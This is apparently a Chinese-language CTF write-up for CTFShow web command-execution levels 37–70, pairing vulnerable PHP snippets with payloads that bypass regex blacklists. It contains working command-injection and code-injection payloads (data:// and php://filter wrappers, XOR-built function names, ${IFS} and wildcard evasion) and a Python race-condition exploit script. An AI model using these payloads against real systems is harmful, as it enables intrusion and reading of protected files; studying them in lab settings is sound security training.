CTFShow-Web入门-命令执行 37-70
data://
用法:data://text/plain;base64,
web37
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOw==
web38
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOw==
web39
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
payload:?c=data://text/plain,<?php system('cat *');?>
web40
if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这道题和 GXZCTF 的 禁止套娃 类似,同时payload也可以套用
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web41
if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); } ?>
自己没做出来,查了好久找到个wp,
先放个 payload:
c=' ');('%60%60%60%60%60%60'|'%13%19%13%14%05%0d')(('%03%01%14'|'%60%60%60').' *');// system('cat *')
web42
if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
我们可以 注释符#(%23) 来代替
①payload1:?c=cat fl*;
②payload2:?c=cat fl* %23
web43
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
cat 被过滤 ,查看一下其他的一些查看文件内容的命令
cat 由第一行开始显示档案内容
tac 从最后一行开始显示,可以看出 tac 是 cat 的倒着写
more 一页一页的显示档案内容
less 与 more 类似,但是比 more 更好的是,他可以往前翻页
head 只看头几行
tail 只看尾巴几行
nl 显示的时候,顺道输出 行号
od 以二进制的方式读取档案内容
awk 样式扫描和处理文件
另外 分号被过滤 (可是使用 注释符# 或者 管道符 ||)
①使用 cat 以外的命令
payload1:?c=tac f*||
②使用 cat 命令
payload2:?c=c"a"t f*||
web44
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
payload 同 43
web45
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
空格 被过滤了
空格绕过
> < <> 重定向符 %09(需要php环境) ${IFS} $IFS$9 {cat,flag.php} //用逗号实现了空格功能 %20 %09
payload1:?c=tac%09f*%09||
web46
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了 $ (如果前面用 ${IFS} 的话这里就不行了)同时过滤了 *
① * 可以用 ? 来绕过
payload1:?c=tac%09fla??php%09||
payload2:?c=awk%09'/f/'%09fla?.php||
web47
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了几个 文件读取命令 ,但是我们的还能用
payload 同 46
web48
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
没过滤 tac ,还能用
payload 同 46
web49
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了 百分号 ,对我们的影响不大
payload 同 46
web50
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了 %09 和 %26 我们可以用其他来代替
payload:?c=c''a''t<>fl'a'g.php||
web51
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了 tac
payload 同 50
web52
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\$c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
过滤了 >< 但是 $ 没有被过滤 所以我们能使用 ${IFS}
用 ?c=ls${IFS}-al${IFS}|| 查看文件
payload:?c=ca''t${IFS}/fl''ag||
web53
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\$c)){ echo($c); $d = system($c); echo "
".$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }
payload:?c=ca''t${IFS}fl''ag.php%0a%23
web54
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\$c)){ system($c); } }else{ highlight_file(__FILE__); }
①此处 grep 未被过滤
grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
payload1:?c=grep${IFS}%27{%27${IFS}fla??php
②使用通配符绕过
payload2:?c=/bin/ca?${IFS}f???.php%0a%23
web55
// 你们在炫技吗? if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\$c)){ system($c); } }else{ highlight_file(__FILE__); }
这题是看大佬的博客的,详情见 https://www.cnblogs.com/NPFS/p/13797436.html
还有知识点: https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
①bin目录:
bin目录主要放置一些系统的必备执行档,如cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以用 base64里的64进行通配符匹配,即 ?c=/bin/base64 flag.php
payload1:?c=/???/????base64%20????.???
②/usr/bin目录:
主要放置一些应用软件工具的必备执行档,如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等
因此我们可以利用/usr/bin下的 bzip2
payload2:?c=/???/???/????2 ????.???
接着访问 url/flag.php.bz2 得到flag
web56
// 你们在炫技吗? if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\$c)){ system($c); } }else{ highlight_file(__FILE__); }
过滤的东西变多了
还是看上面 p神的文章,上传一个文件,然后用 .file 来执行文件
exp如下:
import requests import threading url = 'http://21fab4a5-7ccf-4cb7-b5d3-b101e5c33634.chall.ctf.show/' payload = '?c=.+/???/????????[@-[]' def post(): files={ 'upload':'#!/bin/sh\necho 1433223\ncat flag.php' } r=requests.post(url,files=files) def req(): r=requests.get(url+payload) if '1433223' in r.text: print(r.text) for i in range(50): threading.Thread(target=post,args=()).start() threading.Thread(target=req,args=()).start()
web57
// 还能炫的动吗? //flag in 36.php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); } }else{ highlight_file(__FILE__); }
$ { _ }构成shell
echo ${_} #返回上一次的执行结果 echo $(()) #执行结果为 0 echo $((~$(()))) #~0的执行结果为 -1 echo $(($((~$(())))$((~$(()))))) #$((-1-1))结果为-2 echo $((~-37)) #~37 结果为36
payload:?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web58-65
// 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
payload1:c=show_source('flag.php');
payload2:POST:c=include($_GET['url']); GET:?url=php://filter/read=convert.base64-encode/resource=flag.php
web66
// 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
前面的无法使用了 ,于是先查看一下根目录的文件
POST:c=print_r(scandir("/"));
payload:POST:c=highlight_file("/flag.txt");
web67
查看文件的 print_r 无法使用,用 var_dump 代替
POST:c=var_dump(scandir("/"));
payload:POST:c=highlight_file("/flag.txt");
web68
highlight_file() 也被禁用
用 include
payload:c=include("/flag.txt");
web69
这里查看文件的 var_dump 也被禁用了
用 var_export
POST:c=var_export(scandir("/"));
同 68
web70
能达到和 highlight_file 相同效果的 ini_set() 和 error_reporting() 无法使用
payload 同68